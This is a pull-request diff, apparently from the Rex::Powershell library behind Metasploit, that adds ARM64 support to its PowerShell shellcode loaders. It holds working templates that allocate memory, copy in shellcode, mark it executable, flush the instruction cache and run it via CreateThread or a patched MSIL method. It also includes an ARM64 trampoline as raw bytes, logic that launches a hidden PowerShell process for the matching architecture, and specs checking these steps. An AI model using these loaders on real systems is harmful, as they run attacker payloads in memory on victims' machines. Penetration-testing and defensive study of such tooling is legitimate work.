Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions data/templates/to_mem_dotnet.ps1.template
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ $%{var_syscode} = @"
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
[DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
Expand All @@ -29,6 +30,7 @@ if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)

if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
[%{var_kernel32}.func]::FlushInstructionCache([IntPtr](-1), $%{var_baseaddr}, [UIntPtr]($%{var_code}.Length + 1)) | Out-Null
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
Expand Down
17 changes: 15 additions & 2 deletions data/templates/to_mem_msil.ps1.template
Original file line number Diff line number Diff line change
Expand Up @@ -46,9 +46,18 @@ $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Xor)
$%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Ret)
$%{var_tgt_meth} = ($%{var_dyn_type}.CreateType()).GetMethod('%{str_tgt_meth}')

if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
$%{var_flush_type} = %{func_build_dyn_type}('%{str_flush_type}')
$%{var_flush_method} = $%{var_flush_type}.DefinePInvokeMethod('%{str_flush_method}', 'kernel32.dll', 'FlushInstructionCache', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static -bOr [System.Reflection.MethodAttributes]::PinvokeImpl, [System.Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UIntPtr]), [System.Runtime.InteropServices.CallingConvention]::Winapi, [System.Runtime.InteropServices.CharSet]::Auto)
$%{var_flush_method}.SetImplementationFlags($%{var_flush_method}.GetMethodImplementationFlags() -bOr [System.Reflection.MethodImplAttributes]::PreserveSig)
$%{var_flush_method} = ($%{var_flush_type}.CreateType()).GetMethod('%{str_flush_method}')
}

foreach ($Exec in 1..20) { $%{var_tgt_meth}.Invoke($null, @(0x11112222)) | Out-Null }

if ( [IntPtr]::Size -eq 4 ) {
if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
$%{var_sc} = [Byte[]] @(0xF3,0x53,0xBA,0xA9,0xF5,0x5B,0x01,0xA9,0xF7,0x63,0x02,0xA9,0xF9,0x6B,0x03,0xA9,0xFB,0x73,0x04,0xA9,0xFD,0x7B,0x05,0xA9,0x09,0x00,0x00,0x94,0xFD,0x7B,0x45,0xA9,0xFB,0x73,0x44,0xA9,0xF9,0x6B,0x43,0xA9,0xF7,0x63,0x42,0xA9,0xF5,0x5B,0x41,0xA9,0xF3,0x53,0xC6,0xA8,0x00,0x00,0x80,0xD2,0xC0,0x03,0x5F,0xD6)
} elseif ( [IntPtr]::Size -eq 4 ) {
$%{var_sc} = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
} else {
$%{var_sc} = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,0x31,0xC0,0xC3)
Expand All @@ -58,10 +67,14 @@ $%{var_sc_addr} = [Runtime.InteropServices.Marshal]::AllocHGlobal($%{var_sc}.Len
[Runtime.InteropServices.Marshal]::Copy($%{var_sc}, 0, $%{var_sc_addr}, $%{var_sc}.Length)

$%{var_args} = New-Object Object[](3)
$%{var_args}[0] = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
$%{var_tgt_addr} = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
$%{var_args}[0] = $%{var_tgt_addr}
$%{var_args}[1] = $%{var_sc_addr}
$%{var_args}[2] = $%{var_sc}.Length

$%{var_src_meth}.Invoke($null, $%{var_args})
if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
$%{var_flush_method}.Invoke($null, @([IntPtr](-1), $%{var_tgt_addr}, [UIntPtr]$%{var_sc}.Length)) | Out-Null
}

$%{var_tgt_meth}.Invoke($null, @(0x11112222))
4 changes: 4 additions & 0 deletions data/templates/to_mem_old.ps1.template
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@ $%{var_syscode} = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

Expand All @@ -13,4 +15,6 @@ $%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length

[System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_rwx},$%{var_code}.Length)

$%{var_win32_func}::FlushInstructionCache([IntPtr](-1),$%{var_rwx},[UIntPtr]$%{var_code}.Length) | Out-Null

$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
3 changes: 2 additions & 1 deletion data/templates/to_mem_pshreflection.ps1.template
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio

[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll FlushInstructionCache), (%{func_get_delegate_type} @([IntPtr], [IntPtr], [UIntPtr]) ([Bool]))).Invoke([IntPtr](-1), $%{var_buffer}, [UIntPtr]$%{var_code}.Length) | Out-Null
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
}
55 changes: 46 additions & 9 deletions lib/rex/powershell/command.rb
Original file line number Diff line number Diff line change
Expand Up @@ -208,8 +208,14 @@ def self.generate_psh_args(opts)
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64
# one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit
# process on Windows-on-ARM) is consulted first. A payload_arch of
# 'aarch64' targets the native ARM64 powershell.exe under System32
# (reached via sysnative when the current process is 32-bit).
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
# @param opts [Hash] The options for generate_psh_args
#
Expand Down Expand Up @@ -240,20 +246,51 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
EOS
process_start_info.gsub!("\n", ';')

archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
# Path helpers keep the emitted PowerShell readable and single-quoted so no
# further escaping is required at the target.
native_ps = "$b='powershell.exe'"
syswow64_ps = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'"
sysnative_ps = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"

# On Windows-on-ARM the native host is the ARM64 powershell.exe; the
# 32-bit x86 host still lives under SysWOW64. When we're already inside a
# 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and
# PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via
# sysnative. x86_64 payloads on WoA fall through to native and rely on
# the OS x64 emulator, which is best-effort.
arm64_native_branch = case payload_arch
when 'aarch64' then native_ps
when 'x86' then syswow64_ps
else native_ps
end

arm64_wow64_branch = case payload_arch
when 'aarch64' then sysnative_ps
when 'x86' then native_ps
else sysnative_ps
end

intptr4_branch = payload_arch == 'x86' ? native_ps : sysnative_ps
intptr8_branch = payload_arch == 'x86' ? syswow64_ps : native_ps

architecture_detection = <<EOS
if($env:PROCESSOR_ARCHITECTURE -eq 'ARM64'){
#{arm64_native_branch}
}elseif($env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'){
#{arm64_wow64_branch}
}elseif([IntPtr]::Size -eq 4){
#{intptr4_branch}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
#{intptr8_branch}
};
EOS

archictecure_detection.gsub!("\n", '')
architecture_detection.gsub!("\n", '')

if opts[:no_arch_detect]
return "$b='powershell.exe';#{process_start_info}"
else
archictecure_detection + process_start_info
architecture_detection + process_start_info
end
end

Expand All @@ -264,7 +301,7 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
Expand All @@ -277,7 +314,7 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# use: 'net'/'reflection'/'old'/'msil'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
Expand Down
5 changes: 5 additions & 0 deletions lib/rex/powershell/payload.rb
Original file line number Diff line number Diff line change
Expand Up @@ -95,10 +95,15 @@ def self.to_win32pe_psh_msil(template_path = TEMPLATE_DIR, code)
rig.init_var(:var_sc_addr)
rig.init_var(:var_sc)
rig.init_var(:var_src_meth)
rig.init_var(:var_tgt_addr)
rig.init_var(:var_flush_type)
rig.init_var(:var_flush_method)
rig.init_var(:str_addr_loc)
rig.init_var(:str_tgt_meth)
rig.init_var(:str_src_type)
rig.init_var(:str_tgt_type)
rig.init_var(:str_flush_type)
rig.init_var(:str_flush_method)

hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
Expand Down
2 changes: 1 addition & 1 deletion lib/rex/powershell/version.rb
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
module Rex
module Powershell
VERSION = "0.1.104"
VERSION = "0.1.105"
end
end
39 changes: 38 additions & 1 deletion spec/rex/powershell/command_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,39 @@ def decompress(code)
end
end

context 'when aarch64 payload' do
let(:code) { subject.run_hidden_psh(payload, 'aarch64', encoded) }

it 'branches on PROCESSOR_ARCHITECTURE (ARM64) instead of [IntPtr]::Size' do
expect(code).to include("$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'")
expect(code).to include("$env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'")
end

it 'targets the native powershell.exe on a native ARM64 host' do
arm64_branch = code[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\)\{([^}]*)\}/, 1]
expect(arm64_branch).to include("$b='powershell.exe'")
end

it 'escapes WOW64 filesystem redirection via sysnative when running 32-bit on WoA' do
wow64_branch = code[/PROCESSOR_ARCHITEW6432 -eq 'ARM64'\)\{([^}]*)\}/, 1]
expect(wow64_branch).to include('sysnative')
end
end

context 'when x86 payload on a WoA host' do
let(:code) { subject.run_hidden_psh(payload, 'x86', encoded) }

it 'still routes 32-bit payloads through SysWOW64 on native ARM64 hosts' do
arm64_branch = code[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\)\{([^}]*)\}/, 1]
expect(arm64_branch).to include('syswow64')
end

it 'keeps the current process when already 32-bit on WoA' do
wow64_branch = code[/PROCESSOR_ARCHITEW6432 -eq 'ARM64'\)\{([^}]*)\}/, 1]
expect(wow64_branch).to include("$b='powershell.exe'")
end
end

context 'when encoded' do
it 'should generate a code including an encoded command' do
code = subject.run_hidden_psh(payload, arch, true)
Expand Down Expand Up @@ -235,6 +268,11 @@ def decompress(code)
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'msil')
expect(decompress(code).include?('System.Reflection.MethodInfo')).to be_truthy
end

it 'generates a command line for an aarch64 payload' do
code = subject.cmd_psh_payload(payload, 'aarch64', template_path, method: 'msil')
expect(decompress(code)).to include("$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'")
end
end

context 'when method is unknown' do
Expand Down Expand Up @@ -401,4 +439,3 @@ def decompress(code)
end

end

66 changes: 66 additions & 0 deletions spec/rex/powershell/payload_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
# -*- coding:binary -*-
require 'spec_helper'

RSpec.describe Rex::Powershell::Payload do
let(:payload) { Rex::Text.rand_text_alpha(120) }
let(:template_path) { File.expand_path('../../../data/templates', __dir__) }

describe 'shellcode templates' do
{
dotnet: :to_win32pe_psh_net,
reflection: :to_win32pe_psh_reflection,
old: :to_win32pe_psh
}.each do |name, method|
it "flushes the instruction cache before executing the #{name} payload" do
script = described_class.public_send(method, template_path, payload)
copy_index = script.index('[System.Runtime.InteropServices.Marshal]::Copy')
flush_index = script.rindex('FlushInstructionCache')
execute_index = script.rindex('CreateThread')

expect(copy_index).to be < flush_index
expect(flush_index).to be < execute_index
end
end

it 'uses an aarch64 trampoline and flushes the patched MSIL method' do
script = described_class.to_win32pe_psh_msil(template_path, payload)
flush_method = script[/^\s*(\$\w+) = \$\w+\.DefinePInvokeMethod/m, 1]
trampoline = script[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\) \{\s+\$\w+ = \[Byte\[\]\] @\(([^)]*)\)/, 1]
trampoline_bytes = trampoline.split(',').map { |byte| Integer(byte, 0) }
expected_trampoline = [
0xf3, 0x53, 0xba, 0xa9, # stp x19, x20, [sp, #-96]!
0xf5, 0x5b, 0x01, 0xa9, # stp x21, x22, [sp, #16]
0xf7, 0x63, 0x02, 0xa9, # stp x23, x24, [sp, #32]
0xf9, 0x6b, 0x03, 0xa9, # stp x25, x26, [sp, #48]
0xfb, 0x73, 0x04, 0xa9, # stp x27, x28, [sp, #64]
0xfd, 0x7b, 0x05, 0xa9, # stp x29, x30, [sp, #80]
0x09, 0x00, 0x00, 0x94, # bl payload
0xfd, 0x7b, 0x45, 0xa9, # ldp x29, x30, [sp, #80]
0xfb, 0x73, 0x44, 0xa9, # ldp x27, x28, [sp, #64]
0xf9, 0x6b, 0x43, 0xa9, # ldp x25, x26, [sp, #48]
0xf7, 0x63, 0x42, 0xa9, # ldp x23, x24, [sp, #32]
0xf5, 0x5b, 0x41, 0xa9, # ldp x21, x22, [sp, #16]
0xf3, 0x53, 0xc6, 0xa8, # ldp x19, x20, [sp], #96
0x00, 0x00, 0x80, 0xd2, # mov x0, #0
0xc0, 0x03, 0x5f, 0xd6 # ret
]

expect(trampoline_bytes).to eq(expected_trampoline)
expect(script).to include("'kernel32.dll', 'FlushInstructionCache'")
expect(flush_method).not_to be_nil
expect(script.index("#{flush_method}.Invoke")).to be < script.rindex('.Invoke($null, @(0x11112222))')
end

it 'only defines and invokes the MSIL cache flush on ARM64' do
script = described_class.to_win32pe_psh_msil(template_path, payload)
arm64_block_pattern = /if \(\$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'\) \{([^}]+)\}/m
arm64_blocks = script.scan(arm64_block_pattern).flatten
non_arm64_code = script.gsub(arm64_block_pattern, '')

expect(arm64_blocks.any? { |block| block.include?('DefinePInvokeMethod') }).to be(true)
expect(arm64_blocks.any? { |block| block.include?('[IntPtr](-1)') }).to be(true)
expect(non_arm64_code).not_to include('DefinePInvokeMethod')
expect(non_arm64_code).not_to include('[IntPtr](-1)')
end
end
end
Loading